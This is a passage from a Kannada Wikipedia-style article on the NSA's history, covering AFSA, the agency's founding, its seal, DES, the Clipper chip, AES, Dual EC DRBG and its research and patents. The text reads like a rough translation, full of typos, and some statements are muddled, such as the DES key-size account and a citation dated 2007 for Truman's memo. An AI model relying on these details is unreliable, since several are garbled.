ಸಂಸ್ಥೆಯನ್ನು ಗತಕಾಲಕ್ಕೆ ಕರೆದೊಯ್ದರೆ ಅದು ಮೇ20,1949ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ '''ಆರ್ಮಡ್ ಫೊರ್ಸೆಸ್ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ''' (AFSA)ಇಂದಿನ ಸಂಸ್ಥೆಯ ಪ್ರತಿರೂಪದಂತಿದೆ. ಈ ಸಂಸ್ಥೆಯನ್ನು ಮೂಲಭೂತವಾಗಿ [[U.S.ನ ರಕ್ಷಣಾ ಇಲಾಖೆ]]ಯ ವ್ಯಾಪ್ತಿಗೆ ಒಳಪಡುತ್ತದೆ.[[ಜಾಯಿಂಟ್ ಚೀಫ್ಸ್ ಆಫ್ ಸ್ಟಾಫ್]] ಅವರ ಆದೇಶಕ್ಕನುಗುಣವಾಗಿ ಇದು ಕಾರ್ಯ ನಿರ್ವಹ್ಸಿಸುತ್ತದೆ. AFSA ಸಂಸ್ಥೆಯುU.Sಸರ್ಕಾರದ ಸಂಪರ್ಕ ಮತ್ತು ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಇಂಟೆಲಿಜಿಸ್ನಿ ಚತುವಟಿಕೆಗಳನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ.ಪ್ರಮುಖವಾಗಿ [[ಮಿಲಿಟರಿ ಇಂಟೆಲಿಜೆನ್ಸ]] ಘಟಕಗಳು:ದಿ [[ಆರ್ಮಿ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ]], ದಿ [[ನಾವಲ್ ಸೆಕ್ಯುರಿಟಿ ಗ್ರುಪ್]] ,ಮತ್ತು ದಿ [[ಏರ್ ಫೊರ್ಸ್ ಸೆಕ್ಯುರಿಟಿ ಸರ್ವಿಸ್]] ಮುಂತಾದವು ಈ ಸಂಸ್ಥೆಯ ಅದಿಯಲ್ಲಿ ಬರುತ್ತವೆ. ಆದರೆ ಈ ಏಜೆನ್ಸಿಯು ಅತ್ಯಲ್ಪ ಅಧಿಕಾರ ಹೊಂದಿದೆ,ಅಲ್ಲದೇ ಕೇಂದ್ರೀಕೃತ ಸಹಕಾರದ ವಿಧಾನದಿಂದ ವಂಚಿತವಾಗಿದೆ. ಸಂಸ್ಥೆಯನ್ನು ಡಿಸೆಂಬರ್ 10,1951ರಲ್ಲಿ ಹುಟ್ಟು ಹಾಕಲು ಕಾರಣವಾದದ್ದು ಇದಕ್ಕಾಗಿ ತಿಳಿವಳಿಕೆಯೊಂದನ್ನು ಕಳಿಸಲಾಯಿತು. [[CIA]]ನ ನಿರ್ದೇಶಕ [[ವಾಲ್ಟರ್ ಬೆಡೆಲ್ ಸ್ಮಿತ್]] ಅವರು [[ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಕೌನ್ಸಿಲ್]] ನ NSA ಕಾರ್ಯನಿರ್ವಾಹಕ ಕಾರ್ಯದರ್ಶಿ ಜೇಮ್ಸ್ ಎಸ್ .ಲೆ ಅವರಿಗೆ ತಿಳಿವಳಿಕೆ ಪತ್ರವನ್ನು ಕಳಿಸಿ <ref name="NSACreated">ಇನ್ ಎ ಫೂಟ್ ನೋಟ್ ಆನ್ p. 30 ಆಫ್ ''ಬಾಡಿ ಆಫ್ ಸೆಕ್ರೆಟ್ಸ್ '' (ಆಂಕರ್ ಬುಕ್ಸ್2002), ಜೇಮ್ಸ್ ಬ್ಯಾಮ್ ಫೊರ್ಡ್ ಪ್ರಕಾರ ಇದರ ಶ್ರೇಣೀಕರಣ ಮೆಮೊರ್ಯಾಂಡಮ್ CIA "ಪ್ರೊಪೊಸ್ಡ್ ಸರ್ವೆ ಆಫ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಅಕ್ಟಿವಿಟೀಸ್" (ದಿಸೆಂಬರ್10, 1951).</ref> ತಿಳಿಸಲಾಯಿತು. ಈ ಮಾಹಿತಿ ಪತ್ರದಲ್ಲಿ "ಇದರ ಮೇಲಿನ ನಿಯಂತ್ರಣ ಮತ್ತು ಸಹಕಾರ,ಸಂಪರ್ಕದ ಗುಪ್ತ ಮಾಹಿತಿಯ ಸಂಗ್ರಹದ ಕ್ರಿಯೆಯು ಪರಿಣಾಮಕಾರಿಯಾಗಿರಲಿಲ್ಲ"ಇದರಿಂದಾಗಿ ಗೂಢಚಾರ ಸಂಪರ್ಕದ ವಿವರವನ್ನು ಹೆಚ್ಚು ಗಮನಿಸಿ ಚಟುವಟಿಕೆಯನ್ನು ನಿಯಂತ್ರಿಸುವಂತೆ ಪತ್ರದಲ್ಲಿ ಸೂಚಿಸಲಾಗಿತ್ತು. ಇದರ ಒಪ್ಪಿಗೆ ಡಿಸೆಂಬರ್ 13,1951,ರಲ್ಲಿ ದೊರೆತು ಡಿಸೆಂಬರ್ 28ರಲ್ಲಿ ಅದಕ್ಕಾಗಿ ಸೂಕ್ತ ಕಾರ್ಯಕ್ರಮ ರೂಪಿಸುವಂತೆ ಹೇಳಲಾಯಿತು. ಇದರ ಬಗೆಗಿನ ವರದಿಯು ಜೂನ್ 13, 1952ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡಿತು. ಸಾಮಾನ್ಯವಾಗಿ ಇದನ್ನು ರೂಪಿಸಿದ [[ಹರ್ಬರ್ಟ್ ಬ್ರೊವ್ ನೆಲ್]] ಅವರ ಹೆಸರಿನಿಂದಲೇ ಇದನ್ನು "ಬ್ರೊವ್ ನೆಲ್ ಕಮೀಟಿ ರಿಪೊರ್ಟ್ "ಎಂದೇ ಕರೆಯಲಾಯಿತು.ಅದು U.S. ಸಂಪರ್ಕ ಗೂಧಚರ್ಯದ ಇತಿಹಾಸದ ಚಟುವಟಿಕೆಗಳನ್ನು ಪರಿಶೀಲಿಸಿತು.ಇದಕ್ಕಾಗಿ ಇನ್ನೂ ಹೆಚ್ಚಿನ ಸಂಪರ್ಕ ಮತ್ತು ಮತ್ತು ಅಧಿಕ ಜಾಗರೂಕತೆಯ ಎಚ್ಚ್ಕರಿಕೆಯನ್ನೂ ನೀಡಿತು. ಹೀಗೆ ಬದಲಾವಣೆಗಳಾದಂತೆ NSA ಯು ಆರ್ಮಡ್ ಫೊರ್ಸಿಸ್ ಗಿಂತ ಹೆಚ್ಚಿನ ಕಾರ್ಯವ್ಯಾಪ್ತಿ ಬಂದು ತಲುಪಿತು.ಭದ್ರತಾ ಸಂಸ್ಥೆಗಳ ಜವಾಬ್ದಾರಿಯೂ ಹೆಚ್ಚಾಯಿತು. NSA ರಚನೆಯು ಅಧ್ಯಕ್ಷ [[ಹ್ಯಾರಿ ಎಸ್ ,ಟ್ರುಮ್ಯಾನ್]] ಅವರು ಬರೆದ ಪತ್ರದ ಮುಖಾಂತರ ಜೂನ್ 1952ರಲ್ಲಿ ಅಧಿಕೃತ ಮನ್ನಣೆ ಪಡೆಯಿತು. ಈ ಏಜೆನ್ಸಿಯು ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಕೌನ್ಸಿಲ್ ಇಂಟೆಲ್ಲಿಜೆನ್ಸ್ ಡೈರೆಕ್ಟಿವ್ (NSCID)ಆಕ್ಟೋಬರ್ 24,1952ರಲ್ಲಿ ಅಧಿಕೃತಗೊಂಡಿತು.ಅದು ನಂತರ ನವೆಂಬರ್ 4,1952ರಲಿ ಅಸ್ತಿತ್ವಕ್ಕೆ <ref name="NSACreated">[https://web.archive.org/web/20040720023826/http://www.nsa.gov/truman/truma00001.pdf ಮೆಮೊರಾಂಡಮ್ ಆನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಆಕ್ಟಿವಿಟೀಸ್]– ದಿ ಡಾಕ್ಯುಮೆಂಟ್ ವ್ಹಿಸ್ಚ್ ಕ್ರಿಯೆಟೆಡ್ NSA. ಪ್ರಸಿದೆಂಟ್ [[ಹ್ಯಾರಿ ಎಸ್ ಟ್ರುಮನ್]]. ಅಕ್ಟೋಬರ್‌ 24, 2007. ಏಪ್ರಿಲ್‌ 21,2006ರಂದು ಪಡೆಯಲಾಗಿದೆ.</ref> ಬಂದಿತು. ಅಧ್ಯಕ್ಷ ಟ್ರುಮ್ಯಾನ್ ಅವರ ಪತ್ರವು [[ವರ್ಗೀಕೃತ]] ವಿವರಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು.ಆದರೆ ಸುಮಾರು ಪೀಳಿಗೆಯ ಕಾಲಾವಧಿ ಮುಗಿವವರೆಗೆ ಇದು ಸಾರ್ವಜನಿಕಗೊಂಡಿರಲಿಲ್ಲ. ===ಇನ್ ಸಿಗ್ನಿಯಾ(ವಿಶಿಷ್ಟ ಲಾಂಛನ)=== [[File:Seal of the U.S. National Security Agency.svg|thumb|125px|right|ದಿ NSA'ನ ಇನ್ ಸೈನ್ಸ್.]] NSA ಸಂಸ್ಥೆಯ [[ಪಾರಂಪರಿಕ ಲಾಂಛನ]]ವು ಇದರ ಪ್ರಮುಖ ಸಂಕೇತವಾಗಿದೆ.ಇದರಲ್ಲಿ [[ಬೋಳು ಹದ್ದು]] ತನ್ನ ಬಲಭಾಗವು ಆ ದಿಕ್ಕಿಗೆ ತಿರುಗಿದ್ದು,ಅದರ ರೆಕ್ಕೆಯ ತಳಭಾಗದಲ್ಲಿ ಕೀಲಿ ಕೈ ಇದ್ದು ಇದು NSA ಯು ತನ್ನ ಪ್ರಮುಖ ಉದ್ದೇಶವಾದ ಭದ್ರತೆ ಮತ್ತು ರಕ್ಷಣಾ ವಿಷಯದಲ್ಲಿ ಅದು ತನ್ನ ಹಿಡಿತ ಸಾಧಿಸಿದ ಚಿನ್ಹೆ ಇದಾಗಿದೆ. ಈ ಗರುಡ ಅಥವಾ ಹದ್ದು ಹಿನ್ನಲೆಯಲ್ಲಿ ನೀಲಿ ಪರದೆ ಮತ್ತು ಅದರ ಎದೆ ಭಾಗದಲ್ಲಿ ನೀಲಿ ಶೀಲ್ಡ್ ಹದಿಮೂರು ಕೆಂಪು ಮತ್ತು ಬಿಳಿ ಬ್ಯಾಂಡಗಳನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ. ಸುತ್ತುವರಿದ ಶ್ವೇತ ವರ್ಣವು ಗಡಿಯು "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆ"ಯನ್ನು ನಿರೂಪಿಸುತ್ತದೆ.ಮೇಲ್ಭಾಗಕ್ಕೆ "[[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಆಫ್ ಅಮೆರಿಕಾ]]" ಕೆಳಭಾಗದಲ್ಲಿಎರಡು ಐಮೂಲೆಯಿರುವ ಬೆಳ್ಳಿಯ ನಕ್ಷತ್ರಗಳು ಎರಡು ಭಾಗಗಳಲ್ಲಿ ಕಾಣಬರುತ್ತದೆ. ಈಗಿನ NSAದ ಲಾಂಛನವು 1965ರಿಂದಲೂ ಬಳಕೆಯಲ್ಲಿದೆ.ಆಗಿನ [[ನಿರ್ದೇಶಕ]] LTG [[ಮಾರ್ಶೆಲ್ ಎಸ್ ,ಕಾರ್ಟರ್]] ([[USA]])ಅವರು ಈ ಸಂಸ್ಥೆಯನ್ನು ಪ್ರತಿನಿಧಿಸುವ ಗುರುತೊಂದನ್ನು ಪ್ರಕಟಿಸಿ <ref>{{cite web|title=The National Security Agency Insignia|publisher=National Security Agency|url=http://www.nsa.gov/history/histo00018.cfm|accessdate=2008-07-04|archiveurl=https://web.archive.org/web/20040307182659/http://www.nsa.gov/history/histo00018.cfm|archivedate=2004-03-07|url-status=dead}}</ref> ಅದೇಶಿಸಿದರು. ==ಸರ್ಕಾರೇತರ ಗೂಢಚರ ಚಟುವಟಿಕೆಯ ಮೇಲಿನ ಪರಿಣಾಮ== NSA ಯು ಸಾರ್ವಜನಿಕ ಯೋಜನೆಗಳ ಬಗ್ಗೆ ಬಹಿರಂಗವಾಗಿ ಚರ್ಚೆಗೆ ಮುಂದಾಗುತ್ತದೆ.ಅಪ್ರತ್ಯಕ್ಷವಾಗಿ ಇಲ್ಲವೆ ಪರದೆಯ ಹಿಂದೆ ನಿಂತು ಅದು ಪ್ರತಿಯೊಂದು ಇಲಾಖೆಯ ಆಗುಹೋಗುಗಳಿಗೆ ತನ್ನ ನೆರವಿನ ಹಸ್ತ ಚಾಚುತ್ತದೆ.ಈ ಮೊದಲುಮತ್ತು ಆನಂತರ [[ವೈಸ್ ಎಡ್ಮಿರಲ್ ಬಾಬಿ ರೇ ಇನ್ಮಾನ್]] ಅವರ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ಅದು ಯಶಸ್ವಿಯಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದೆ.NSA NSA ಯು 1990ರ [[ಗೂಢಚರ ವಿಷಯಗಳ ರವಾನೆ]]ಗಾಗಿ ನಡೆದ ಚರ್ಚೆಗಾಳಲ್ಲಿ ಅದು ಪ್ರಮುಖ ಪಾತ್ರ ವಹಿಸಿದೆ. ಸುಮಾರು 1996ರಲ್ಲಿ.ರಫ್ತಿನ ಮೇಲೆ ನಿರ್ಭಂಧವನ್ನು ವಿಧಿಸಲಾಯಿತಾದರೂ ಅದನ್ನು ತೆಗೆದು ಹಾಕಲಿಲ್ಲ. ===ಡಾಟಾ ಎನ್ ಕ್ರಿಪ್ಶನ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್(DES)=== {{main|Data Encryption Standard}} NSA ಯು [[ಡಾಟಾ ಎನ್ ಕ್ರಿಪ್ಶನ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್]] (DES)ನಿರ್ಮಾಣದ ಸಂದರ್ಭದಲ್ಲಿ ಸಣ್ಣಪ್ರಮಾಣದ ವಿವಾದಗಳಿಗೆ ಒಳಗಾಯಿತು.ಒಂದು ಗುಣಮಟ್ಟದ ಮತ್ತು ಸಾರ್ವಜನಿಕ [[ಬ್ಲಾಕ್ ಸೈಫರ್]] [[ಅಲ್ಗೊರಿದಮ್]] ಇತ್ಯಾದಿಗಳು [[U.S.ಸರ್ಕಾರ]]ದಿಂದ ಬಳಕೆಯಾದ ಬಗ್ಗೆ ಮತ್ತು ಅದರ ಬ್ಯಾಂಕಿಂಗ್ ಮತ್ತು ಸಂಪರ್ಕಗಳ ಬಗ್ಗೆ ಕೆಲಮಟ್ಟಿಗೆ ಅದು ವಿವಾದಕ್ಕೆ ಒಳಗಾಗಿದ್ದರೂ ರಚನಾತ್ಮಕವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದೆ. DES ಅಂಗಸಂಸ್ಥೆಯ ನಿರ್ಮಾಣದ ಹೆಸರಲ್ಲಿ1970ರ ಸುಮಾರಿಗೆ [[IBM]]ಅದರ ಅಭಿವೃದ್ಧಿಗೆ ಕೆಲಸ ಮಾಡಿತು.ಈ ಸಂದರ್ಭದಲ್ಲಿ NSAಯು ಕೆಲವು ಮಹತ್ವದ ಬದಲಾವಣೆಗಳ ವಿವರಗಳನ್ನು ಒದಗಿಸಿತು. ಈ ಬದಲಾವಣೆಗಳು ಸಮಯ ಕಳೆದಂತೆ ಲೆಕ್ಕಾಚಾರವನ್ನು ಸ್ವಲ್ಪ ಮಟ್ಟಿಗೆ ದುರ್ಬಲಗೊಳಿಸಿದವು.ಇದರಲ್ಲಿನ ವಿವಾದಗಳಿಗೆ ಕಾರಣವಾಗುವ ವಿಷಯಾಗಳ ಬಗ್ಗೆ ಚರ್ಚಎ ನಡೆಸ್ಸಲಾಯಿತು.ಉದಾಹರಣೆಗಾಗಿ[[S-ಪಟ್ಟಿಗೆ]] ಗಳು ರೂಪ ಬದಲಾಯಿಸಿಕೊಂಡು "[[ಬ್ಯಾಕ್ ಡೋರ್]]"ನ್ನು ಒಳಸೇರುವಂತೆ ಮಾಡಲಾಯಿತು.ಇದರಿಂದಾಗಿ NSA ಯು ಬೃಹತ್ ಕಂಪೂಟರ್ ಶಕ್ತಿಯ ಕಾರ್ಯಗಳನ್ನು DES ಬೀಗದ ಕೈ ಬಳಕೆ ಮಾಡಿಕೊಳ್ಳುವುದರ ಮೂಲಕ ಉಪಯೋಗಿಸಿಕೊಂಡಿತು. ಇದರಿಂದಾಗಿ DES ನಲ್ಲಿರುವ S-boxes ಗಳ ವಿಭಿನ್ನತೆ ಮತ್ತು [[ವ್ಯತ್ಯಾಸಗಳಿರುವ ಕ್ರಿಪ್ಟ್ ಎನ್ ಲೈಸಿಸ್]] ಗಳಲ್ಲಿನ ವ್ಯತಿರಿಕ್ತತೆಗಳಿಗೆ ವಿರುದ್ಧವಾಗಿ ಇದನ್ನು ಬಳಕೆ ಮಾಡಿಕೊಳ್ಳಲಾಗುತ್ತದೆ.ಆದರೆ ಈ ತಂತ್ರವನ್ನು ಆಗ ಸಾರ್ವಜನಿಕವಾಗಿ ತಿಳಿಸದಿದ್ದರೂ 1980ರಲ್ಲಿ ಇದು IBM ಅಂಗಸಂಸ್ಥೆಗೆ ತಿಳಿದ ವಿಷಯವಾಗಿತ್ತು. ದಿ [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಸಿನೇಟ್ ಸೆಲೆಕ್ಟ್ ಕಮೀಟಿ ಆನ್ ಇಂಟೆಲ್ಲಿಜೆನ್ಸ್]] NSAಯುನ ಎಷ್ಟರ ಮಟ್ಟಿಗೆ ಪಾತ್ರ ಇದರಲ್ಲಿದೆ ಎಂಬುದನ್ನು ಅದು ಅಂದಾಜಿಸಿತು.ಇದರಿಂದಾಗಿ ಈ ಸಂಸ್ಥೆಯು ಕೆಲಮಟ್ಟಿಗೆ ಸಹಕಾರ ನೀಡಿತಲ್ಲದೇ ಅದರ ಕಾರ್ಯವಿನ್ಯಾಸದಲ್ಲಿ ಯಾವುದೇ ಅಡತಡೆ <ref>{{cite book|first=D.W.|last=Davies|coauthors=W.L. Price|title=Security for computer networks, 2nd ed.|publisher=John Wiley & Sons|year=1989}}</ref><ref>{{cite journal|author=Robert Sugarman (editor)|title=On foiling computer crime|journal=IEEE Spectrum|month=July | year=1979|publisher=[[IEEE]]}}</ref> ಮಾಡಲಿಲ್ಲ. ಕಳೆದ 2009ರ ಸುಮಾರಿಗೆ NSAಯು ಮಾಹಿತಿ ವಿವರಗಳನ್ನು ಮರುವಿಂಗಡಿಸಿತು.ಇದರ ಮೂಲಕ ''NSA ಯು ತನ್ನ ಶಕ್ತಿ ವರ್ಧನೆಗೆ IBMನೊಡನೆ ಕೈಜೋಡಿಸಿತು.ಯಾವುದೇ ಆಕ್ರಮಣಶಾಲಿ ಪರಿಸ್ಥಿಗಳನ್ನು ಅದು ವಿಶ್ಲೇಷಿಸಲು ಸಮರ್ಥವಾಯಿತು.ಅದರೊಂದಿಗೆ ಉಪಯೋಗಕ್ಕೆ ಬರುವS-boxes'' ಗಳನ್ನು ಬಲಪಡಿಸಲು ತನ್ನ ಚಟುವಟಿಕೆಯನ್ನು ವಿಸ್ತರಿಸಿತು. ''NSA ಯು ತನ್ನ ಕಂಪೂಟಿಂಗ್ ವ್ಯವಸ್ಥೆಗಳ ಬೆಗದ ಕೈಗಳ ಕಾರ್ಯವಿನ್ಯಾಸವನ್ನು 64ರ ಬಿಟ್ಸ್ ನಿಂದ 48ರ ವರೆಗೆ ತರುವ ಮೂಲಕ IBM ನ್ನು ವಿಶ್ವಾಸಕ್ಕೆ ತೆಗೆದುಕೊಂಡಿತು. '' ''ಅಂತಿಮವಾಗಿ ಅವರು 56-ಬಿಟ್ '' ಕೀಗಾಗಿ <ref>{{cite web|url=http://cryptome.org/0001/nsa-meyer.htm|format=html|title="American Cryptology during the Cold War, 1945-1989.Book III: Retrenchment and Reform, 1972-1980, page 232" |author = Thomas R. Johnson| accessdate=2010-01-03 |publisher = [[NSA]], DOCID 3417193 (file released on 2009-12-18, hosted at cryptome.org)| date= 2009-12-18|archiveurl=https://web.archive.org/web/20100805014833/http://cryptome.org/0001/nsa-meyer.htm|archivedate=2010-08-05}}</ref> ಸಮ್ಮತಿಸಿದರು. ===ಕ್ಲಿಪ್ಪರ್ ಚಿಪ್=== {{main|Clipper chip}} ದೊಡ್ದ ಪ್ರಮಾಣದಲ್ಲಿ ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿ ಬಳಸುವದರಿಂದ ಸರಕಾರದ [[ವೈಯರ್ ಟ್ಯಾಪ್]] ಗಳ ಅಕಾರ್ಯಕ್ಕೆ ಅಡತಡೆಯುಂಟಾಗುತದೆ.ಇದರ ತಡೆಗಾಗಿ NSA ಯು 1993ರಲ್ಲಿ [[ಕೀ ಎಸ್ಕ್ರಿವ್]] ಪರಿಕಲ್ಪನೆಯೊಂದಿಗೆ[[ಕ್ಲಿಪರ್ ಚಿಪ್]] ನ್ನು ಪರಿಚಯಿಸಿತು. ಇದು DESಗಿಂತ ಹೆಚ್ಕು ಬಲಶಾಅಲಿಯಾಗಿದೆ.ಇದರ ಮೂಲಕ ಕಾನೂನುನ್ ಜಾರಿ ಅಧಿಕಾರಿಗಳ್ಯ್ ಸೂಕ್ತ ಕ್ರಮ ಕೈಗೊಳ್ಳಲು ಅನುಕೂಲವಾಗುತ್ತದೆ. ಈ ಪ್ರಸ್ತಾಪವು ಬಲವಾಗಿ ವಿರೋಧಿಸಲ್ಪಟ್ಟಿತಲ್ಲದೇ ಎಸ್ಕ್ರಿವ್ ಕೀ ಬೇಡಿಕೆಗಳು ಕಾಣದಾದವು. NSAದ [[ಫೊರ್ಟೆಜಾ]] ಹಾರ್ಡವೇರ್ ಮೂಲದ ಎನ್ ಸ್ಕ್ರಿಪ್ಟಿಕ್ ಕಾರ್ಡ್ ಗಳನ್ನು ಕ್ಲಿಪರ್ ಚಿಪ್ಸ್ ಗಳಿಗಾಗಿ ನಿರ್ಮೇಸಲಾಗಿದೆ.ಅವುಗಳನ್ನು ಇನ್ನೂ ಸರ್ಕಾರದ ಮಟ್ಟದಲ್ಲಿಉ ಬಳಸಲಾಗುತ್ತದೆ.ಸದ್ಯ NSA ಯು SKIPJACK ಸೈಫರ್ ನ್ನು ಅಂತಿಮವಾಗಿ ತನ್ನ ವಿನ್ಯಾಸವನ್ನಾಗಿ ಪ್ರಕಟಿಸಿತು.(ಆದರೆ ಇದು ಕೀ ಬದಲಿಯ ಶಿಷ್ಟಾಚಾರವಲ್ಲ) ===ಅಡ್ವಾನ್ಸ್ಡ್ ಎನ್ ಕ್ರಿಪ್ಶನ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್(AES)=== {{main|Advanced Encryption Standard}} ಈ ಹಿಂದಿನ ವಿವಾದಗಳ ಕಾರಣದಿಂದಾಗಿNSA ದ ಕಾರ್ಯವೇನಿಸಿದ್ದ DESಗೆ ಉತ್ತಾರಾಧಿಕಾರಿಯ ಆಯ್ಕೆ ಮಾಡುವ ಅವಕಾಶ ತಪ್ಪಿ ಅದು [[ಅಡ್ವಾನ್ಸ್ಡ್ ಎನ್ ಕ್ರಿಪ್ಶನ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್]](AES)ದ ಕಾರ್ಯವು ಕೇವಲ [[ಹಾರ್ಡ್ ವೇರ್]] ಗೆ ಮಾತ್ರ ಸೀಮಿತಗೊಂಡು ಅದರ ತಪಾಸಣೆ ಮಾತ್ರ ಅದರ ಕೈಯಲ್ಲಿ ಉಳಿಯಿತು.(ನೋಡಿ [[AES ಪೈಪೊಟಿ]]). NSA ಯು ಬರಬರುತ್ತಾ AES ಗೆ ಮಾಹಿತಿಯ ವರ್ಗೀಕರಣ ಮತ್ತು ರಕ್ಷಣೆಗಾಗಿ ಪ್ರಮಾಣೀಕರಿಸಿತು.(ಬಹುತೇಕ ಎರಡು ಹಂತಗಳಲ್ಲಿ:ಉದಾಹರಣೆಗೆ,SECRET {ರಹಸ್ಯ}ಮಾಹಿತಿಯನ್ನು ನಿಗದಿತ ಪರಿಸರದಲ್ಲಿ ವರ್ಗೀಕರಿಸದಿದ್ದಾಗ)ಇದನ್ನು NSA ಸಮ್ಮತಿಸಿದ ವಿಧಾನವನ್ನು ಬಳಸಿದಾಗ ಅದರ ಕಾರ್ಯ ಚಟುವಟಿಕೆ ಚುರುಕಾಯಿತು. ವ್ಯಾಪಕವಾಗಿ ಬಳಕೆಯಾಗುವ [[SHA-1]] ಮತ್ತು [[SHA-2]]ಕಾರ್ಯ ವಿನ್ಯಾಸಗಳು NSAದಿಂದ ರಚಿತವಾದವು. === ದ್ವಿಪದಿಯ EC DRBG ಸಾಮಾನ್ಯ ಸಂಖ್ಯೆಯ ಜನರೇಟರ್=== {{main|Dual EC DRBG}} ಸಾಮಾನ್ಯ ಆಯ್ಕೆಯ ಸರ್ವಮಾನ್ಯ ಸಂಖ್ಯೆಯ ಜನರೇಟರ್ ನ್ನು NSA ಉತ್ತೇಜಿಸಿ U.S.ನಲ್ಲಿ[[ದ್ವಿಪದಿ EC DRBG]]ನ್ನು ಪ್ರಕಟಿಸಿತು.ಇದು [[ನ್ಯಾಶನಲ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್ಸ್ ಅಂಡ್ ಟೆಕ್ನಾಲಾಜಿ]]ಯ 2007ರ ಮಾರ್ಗದರ್ಶಿ ಸೂತ್ರಗಳನ್ನು ಅನುಸರಿಸಿ ತನ್ನ ನೀತಿಯನ್ನು ರೂಪಿಸಿತು. ಇದು [[ಬ್ಯಾಕ್ ಡೋರ್]] ಬಗ್ಗೆNSA ಯು ಬೇರೆ ತೆರನಾದ ಊಹಾಪೋಹಾಗಳಿಗೆ ಎಡೆಮಾಡಿಕೊಟ್ಟಿತು.ಇದು ಎನ್ ಸ್ಕ್ರಿಪ್ಟೆಡ್ ವಿಧಾನಗಳನ್ನು ಬಳಸಿ ರಕ್ಷಣಾ ಕಾರ್ಯಗಳನ್ನು ಮಾಡಲು <ref>{{cite news |url=https://www.wired.com/politics/security/commentary/securitymatters/2007/11/securitymatters_1115 |title=Did NSA Put a Secret Backdoor in New Encryption Standard? |author=Bruce Schneier |publisher=Wired News |date=2007-11-15 |accessdate=2008-07-04 |archiveurl=https://archive.is/20120919094854/http://www.wired.com/politics/security/commentary/securitymatters/2007/11/securitymatters_1115 |archivedate=2012-09-19 |url-status=live }}</ref> ಆರಂಭಿಸಿತು. ===ಶೈಕ್ಷಣಿಕ ಸಂಶೋಧನೆ=== NSA ಯು ಶೈಕ್ಷಣಿಕ ಹಾಗು ಪ್ರಸಕ್ತ ಕಾರ್ಯಗಳ ಸಂಶೋಧನೆಗಾಗಿ ದಶಲಕ್ಷಗಟ್ಟಲೇ ಡಾಲರ್ ಗಳನ್ನು ಖರ್ಚು ಮಾಡುತ್ತದೆ. ''MDA904'' ,ಎಂಬ ಕೋಡ್ ಪ್ರಕಾರ ಸರ್ಕಾರ ಸಹಾಯಧನದ ಮೂಲಕ 3000 ಸಂಶೋಧನೆ ಕಾಗದಪತ್ರಗಳನ್ನು ನೋಡಲು ಕಾರ್ಯ ಮುಂದಾಗುತ್ತದೆ.(ದಿನಾಂಕ 2007-10-11) NSA/CSSಸಂಸ್ಥೆಗಳು ಈ ಸಂಶೋಧನಾ ವಿಷಯಗಳನ್ನು ಪ್ರಕಟಿಸಲು ಮುಂದಾಯಿತು.ಶೈಕ್ಷಣಿಕವಾಗಿ ಮುಂದುವರೆಸಲು ಕ್ರಿಟೊಗ್ರಾಫಿ;ಉದಾಹರಣೆಗೆ [[ಖುಫ್ ಅಂಡ್ ಖಾಫ್ರೆ]] ಬ್ಲಾಕ್ ಸೈಫರ್ಸ್ ಗಳು ಸ್ವಯಂ ಪ್ರೇರಿತವಾಗಿ ಕೆಲಸ ಮಾಡಲು ಆರಂಭಿಸಿದೆ. ===ಪೆಟೆಂಟ್‌ಗಳು=== NSA ಯು ತನ್ನ ಸಂಶೋಧನೆಗಳ ಬಗ್ಗೆ [[ಹಕ್ಕುಸ್ವಾಮ್ಯ]]ವನ್ನು [[U.S.ಪೇಟೆಂಟ್ ಅಂಡ್ ಟ್ರೇಡ್ ಮಾರ್ಕ್ ಆಫಿಸ್]]ಮತ್ತು ಅದರ [[ಉನ್ನತ ಆದೇಶ]] ಇದನ್ನು ಒಳಗೊಂಡಿವೆ. ಕೆಲವು ಸಮಾನರೂಪದ ನೈಸರ್ಗಿಕ ಪೇಟೆಂಟ್ ಗಳು ಸಾರ್ವಜನಿಕರಿಗೆ ಪ್ರಚರಪಡಿಸಿತು.ಅವು ಮಹತ್ವವನ್ನು ಕಳೆದುಕೊಳ್ಳುವುದಿಲ್ಲ. ಹೇಗೆಯಾದರೂ ಪೇಟೆಂಟ್ ಆಫಿಸ್ ನಲ್ಲಿ ಇನ್ನೊಂದು ಯಾವುದಾದರು ಹಕ್ಕುಸ್ವಾಮ್ಯಕ್ಕೆ ಅರ್ಜಿ ಹಾಕಿದ್ದನ್ನು ಈ ವಿವರಿಸಲಾಗುತ್ತದೆ.NSA ಯು ಈ ವಿಷಯಗಳಲ್ಲಿ ಆ ದಿನಾಂಕದಿಂದ ಪೂರ್ಣಾವಧಿಯನ್ನು <ref>{{cite book |last=Schneier |first=Bruce |authorlink = Bruce Schneier |title=Applied Cryptography, Second Edition |publisher=[[John Wiley & Sons]] |year=1996 |pages=609–610 |isbn=0-471-11709-9 }}</ref> ಪೂರ್ಣಗೊಳಿಸುತ್ತದೆ. NSA ಯು ಪ್ರಕಟಿಸಿದ ಹಕ್ಕುಸ್ವಾಮ್ಯದ ಪದ್ದತಿಯು [[ಭೌಗೊಳಿಕ ಸ್ಥಳೀಯತೆ]]ಯನ್ನು 